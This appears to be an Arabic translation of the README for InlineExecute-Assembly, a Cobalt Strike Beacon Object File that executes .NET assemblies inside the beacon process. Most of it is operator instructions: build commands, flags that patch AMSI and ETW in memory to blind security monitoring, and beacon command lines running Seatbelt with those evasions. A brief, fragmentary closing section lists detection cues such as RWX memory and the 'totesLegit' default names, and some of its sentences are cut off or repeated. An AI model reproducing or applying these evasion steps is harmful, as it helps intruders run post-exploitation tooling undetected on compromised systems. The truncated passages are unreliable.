
Cobalt Strike BOF لتنفيذ تجميعات .NET داخل العملية مع تجاوز AMSI/ETW، ونطاق تطبيق مخصص، وإعادة توجيه الإخراج عبر الأنابيب المسماة/فتحات البريد.
InlineExecute-Assembly هو ملف كائن منارة (BOF) إثبات مفهوم يسمح لمختصي الأمن بتنفيذ تجميعات .NET داخل العملية كبديل لوحدة execute-assembly التقليدية في Cobalt Strike التي تعتمد على fork-and-run. يقوم InlineExecute-Assembly بتنفيذ أي تجميع بنقطة دخول Main(string[] args) أو Main(). وهذا يتيح لك تشغيل معظم الأدوات المنشورة دون الحاجة إلى أي تعديل مسبق.
سيقوم BOF تلقائيًا بتحديد إصدار CLR (v2.0.50727 أو v4.0.30319) المطلوب تحميله في العملية من أجل التجميع الخاص بك قبل التنفيذ، وفي معظم الحالات، يجب أن يخرج بأمان في حالة ظهور أي مشاكل. كما يدعم BOF عدة أعلام تسمح للمشغل بالتحكم في سلوكيات معينة قبل تنفيذ .NET، وتشمل تعطيل AMSI عبر التصحيح داخل الذاكرة، تعطيل واستعادة ETW عبر التصحيح داخل الذاكرة، تخصيص اسم نطاق تطبيق CLR الذي سيتم إنشاؤه، سواء لإنشاء وتوجيه المخرجات النصية للتجميع الخاص بك إلى named pipe أو mailslot، كما يسمح للمشغل بتبديل نقطة الدخول الافتراضية من Main(string[] args) إلى Main(). يمكن العثور على مزيد من التفاصيل حول الاستخدام وحالات الاستخدام والكشف المحتمل أدناه وعلى الرابط https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/.
أخيرًا، تتمثل ميزة تنفيذ تجميعات .NET في نفس عملية beacon الخاصة بنا في أننا نتجنب السلوك الافتراضي لوحدة execute-assembly في Cobalt Strike والتي تنشئ عملية جديدة لتحميل/حقن CLR/.NET assembly. ومع ذلك، لا تزال هناك اعتبارات أخرى متعلقة بالأمن التشغيلي، على سبيل المثال، هل العملية التي ننفذ داخلها تقوم عادةً بتحميل CLR؟ أو هل يحتوي التجميع .NET الذي ننفذه على أي توقيعات معروفة؟ لذلك، العيب هو أنه إذا تم اكتشاف وقتل شيء ما، على سبيل المثال بواسطة AMSI، فسيتم قتل beacon الخاص بك أيضًا.
لم يكن هذا الأداة لتوجد لولا الاعتماد على بعض الأبحاث والأدوات والكود الرائع المنشور بالفعل من قبل أعضاء مجتمع الأمن. لذا شكرًا لكم. أخيرًا، إذا كنت تعتقد أن أي شخص قد تم تجاهله أدناه، فيرجى إبلاغي وسأحرص على إضافته.
inlineExecute-Assembly --dotnetassembly /path/to/assembly.exe للتنفيذ الأساسي (انظر حالات الاستخدام أدناه لأمثلة محددة على الأعلام)قم بتشغيل الأمر أدناه داخل مجلد src عبر موجه أوامر الأدوات الأصلية x64 لـ VS 2019
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx64.o
قم بتشغيل الأمر أدناه داخل مجلد src عبر موجه أوامر الأدوات الأصلية x86 لـ VS 2019
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx86.o
--dotnetassembly Directory path to your assembly **required**
--assemblyargs Assembly arguments to pass
--appdomain Change default name of AppDomain sent (default value is totesLegit and is set via the included aggressor script) *Domain always unloaded*
--amsi Attempts to disable AMSI via in memory patching (If successful AMSI will be disabled for the entire life of process)
--etw Attempts to disable ETW via in memory patching (If successful ETW will be disabled for the entire life of process unless reverted)
--revertetw Attempts to disable ETW via in memory patching and then repatches it back to original state
--pipe Change default name of named pipe (default value is totesLegit and is set via the included aggressor script)
--mailslot Switches to using mailslots to redirect console output. Changes default name of mailslot (If left blank, default value is totesLegit and is set via the included aggressor script)
--main Changes entry point to Main() (default value is Main(string[] args))
تنفيذ تجميع .NET
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe
تنفيذ تجميع .NET مع وسائط
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker
تنفيذ تجميع .NET مع وسائط وتعطيل AMSI
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi
تنفيذ تجميع .NET مع وسائط وتعطيل ETW
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --etw
تنفيذ تجميع .NET مع وسائط وإعادة توجيه المخرجات عبر mailslots بدلاً من named pipe الافتراضي
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --mailslot
تنفيذ تجميع .NET مع وسائط وتغيير اسم named pipe الافتراضي المحدد في سكريبت aggressor
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --pipe forRealLegit
تنفيذ تجميع .NET وتغيير نطاق التطبيق الافتراضي المحدد في سكريبت aggressor
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --appdomain forRealLegit
تنفيذ تجميع .NET بنقطة دخول Main() بدلاً من Main(string[] args) الافتراضية
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/simpleMain.exe --main
اذهب بقوة
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi --etw --appdomain forRealLegit --mailslot forRealLegit
Environment.Exit، فيجب إزالة ذلك لأنه سيقتل العملية وbeacon.بعض استراتيجيات الكشف والتخفيف التي يمكن استخدامها:
PAGE_EXECUTE_READWRITE عند إجراء تصحيح الذاكرة لـ AMSI و ETW. تم ذلك عن قصد ويجب أن يكون علامة حمراء حيث أن عددًا قليلًا جدًا من البرامج تحتوي على نطاقات ذاكرة بحماية PAGE_EXECUTE_READWRITE.totesLegit. تم ذلك عن قصد ويمكن استخدام كشف التوقيع للإبلاغ عن ذلك.totesLegit. تم ذلك عن قصد ويمكن استخدام كشف التوقيع للإبلاغ عن ذلك.totesLegit. تم ذلك عن قصد ويمكن استخدام كشف التوقيع للإبلاغ عن ذلك.